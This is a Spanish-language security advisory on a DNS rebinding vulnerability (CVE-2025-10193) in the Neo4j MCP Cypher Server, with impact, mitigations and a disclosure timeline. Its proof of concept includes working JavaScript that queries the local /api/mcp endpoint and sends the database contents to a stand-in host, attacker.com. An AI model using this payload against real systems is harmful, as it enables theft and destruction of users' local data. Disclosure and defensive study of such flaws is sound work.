El Neo4j MCP Cypher Server es vulnerable a la toma de control de la base de datos mediante DNS rebinding
Autor: Evan Harris
Componente afectado: Neo4j MCP Cypher Server
Versiones vulnerables: 0.2.2 a 0.3.1
CVE: CVE-2025-10193
Puntuación CVSS 4.0: 7.4 (Alto) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Resumen
El Neo4j MCP Cypher Server proporciona un endpoint HTTP para ejecutar consultas Cypher contra una base de datos Neo4j.
MCPSec descubrió una vulnerabilidad de DNS rebinding en el servidor que permite a atacantes remotos eludir las políticas de seguridad del navegador y ejecutar consultas Cypher arbitrarias contra la instancia de base de datos accesible mediante MCP.
Neo4j ha corregido este problema en la versión v0.4.0. Todos los usuarios de las versiones afectadas deben actualizar de inmediato.
Otras herramientas tratadas en este sitio fallan de la misma manera: Vulnerabilidad de DNS rebinding en el transporte SSE del Vet MCP Server y Exfiltración y destrucción de datos en MLflow por falta de validación de Origin (DNS rebinding).
Impacto
Los atacantes obtienen acceso POST completo al endpoint /api/mcp servido por el Neo4j MCP Cypher Server local.
Esto permite la ejecución no autorizada de cualquier consulta Cypher, lo que otorga a un atacante control administrativo completo sobre la base de datos Neo4j. Esto puede dar lugar a:
- Exfiltración completa de información sensible almacenada en la base de datos.
- Modificación no autorizada de datos o corrupción.
- Eliminación de datos y denegación de servicio.
El ataque de DNS rebinding puede ejecutarse en cuestión de segundos después de que una víctima visita un sitio web malicioso, y solo requiere que tenga el servidor vulnerable en ejecución de forma local.
Prueba de concepto
El escenario de ataque asume lo siguiente:
- La víctima ejecuta una versión vulnerable del Neo4j MCP Cypher Server en su máquina local.
- La víctima navega a un sitio web malicioso controlado por el atacante.
- El sitio web ejecuta un ataque de DNS rebinding, engañando al navegador de la víctima para que envíe comandos al servidor Neo4j.
Una vez completado el rebinding, el atacante puede utilizar el navegador de la víctima para enviar consultas Cypher maliciosas al endpoint local /api/mcp. A continuación, los datos pueden exfiltrarse al servidor del atacante, o bien manipularse y eliminarse.
MCPSec realizó un ataque de prueba de concepto siguiendo estos pasos:
-
Desplegar una aplicación de DNS rebinding (por ejemplo, Singularity of Origin).
-
Construir un payload de JavaScript servido por el sitio web malicioso para ejecutar una consulta y exfiltrar los datos.
const Neo4jRebind = () => {
// The core attack function. It sends a malicious Cypher query.
function attack(headers, cookie, body) {
const maliciousQuery = 'MATCH (n) RETURN n LIMIT 100'; // Query to dump all nodes
fetch('http://localhost:8000/api/mcp', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json, text/event-stream',
'Connection': 'keep-alive',
'Cache-Control': 'no-cache'
},
body: JSON.stringify({ query: maliciousQuery })
}).then(response => {
const ATTACKER_SERVER = 'https://attacker.com/steal-neo4j-data';
response.text().then(databaseContents => {
// Send the stolen database contents to the attacker's server
fetch(ATTACKER_SERVER, {
method: 'POST',
body: JSON.stringify(databaseContents)
});
}).catch(e => console.error('Failed to parse Neo4j response', e));
}).catch(e => console.error("Failed to post Cypher query", e));
}
// Function to check if the rebound service is the target Neo4j server
async function isService(headers, cookie, body) {
try {
const response = await fetch(`http://localhost:8000/`, { mode: 'no-cors' });
// A successful ping (even opaque) suggests the port is open.
return true;
} catch (e) {
return false;
}
}
return {
attack,
isService
}
}
Registry["Neo4jRebind"] = Neo4jRebind();
- Ejecutar un servidor de recolección de datos para recibir la petición POST que contiene el contenido robado de la base de datos.
A continuación se muestra un ejemplo de los datos JSON exfiltrados de la base de datos de una víctima, que contienen información de usuario potencialmente sensible.
{
"results": [
{
"columns": ["n"],
"data": [
{
"row": [
{
"name": "Evan Harris",
"email": "evan.harris@example.com",
"role": "admin",
"password_hash": "sha256:abc123def456..."
}
],
"meta": [{...}]
},
{
"row": [
{
"project": "Project Titan",
"api_key": "neo-secret-key-xyz789",
"status": "active"
}
],
"meta": [{...}]
}
]
}
],
"errors": []
}
Mitigaciones recomendadas
Para usuarios (inmediato)
- Actualice de inmediato a
mcp-neo4j-cypherversión v0.4.0 o posterior. Esta versión contiene el parche que valida el encabezado HTTPHostpara prevenir este ataque. - Si no puede actualizar, cambie de HTTP a stdio. Como alternativa, coloque un filtro de peticiones de red delante de su Neo4j Cypher MCP Server para defenderse frente a encabezados de host no válidos.
Esta vulnerabilidad se comunicó al equipo de Neo4j siguiendo las prácticas de divulgación responsable. El equipo respondió con rapidez para validar y corregir el problema.
Cronología de la divulgación
- 2025-09-08: Neo4j confirma la recepción del informe.
- 2025-09-09: Neo4j reconoce el riesgo del vector de ataque.
- 2025-09-09: Se proporcionan al equipo de Neo4j orientaciones detalladas y ejemplos de corrección.
- 2025-09-09: Neo4j abre un pull request con medidas defensivas.
- 2025-09-11: Se publica la versión corregida v0.4.0.
- 2025-09-11: Se asigna CVE-2025-10193 y se publica el GitHub Security Advisory.
- 2025-09-12: Se acuerda la fecha de publicación del aviso técnico.
- 2025-10-13: Se publica el aviso técnico.
Conclusión
La vulnerabilidad de DNS rebinding en el Neo4j MCP Cypher Server pone de relieve un alto riesgo de seguridad para las herramientas de desarrollo que exponen interfaces locales de bases de datos. Aunque ofrecen una potente funcionalidad local, estos servicios pueden convertirse en una puerta de entrada para ataques basados en web si no se protegen adecuadamente. Esto puede conducir al compromiso completo de datos sensibles.
Felicitaciones al equipo de Neo4j por su respuesta profesional y rápida al corregir esta vulnerabilidad. Todos los usuarios del componente afectado deben actualizar a la última versión para garantizar la protección de sus datos.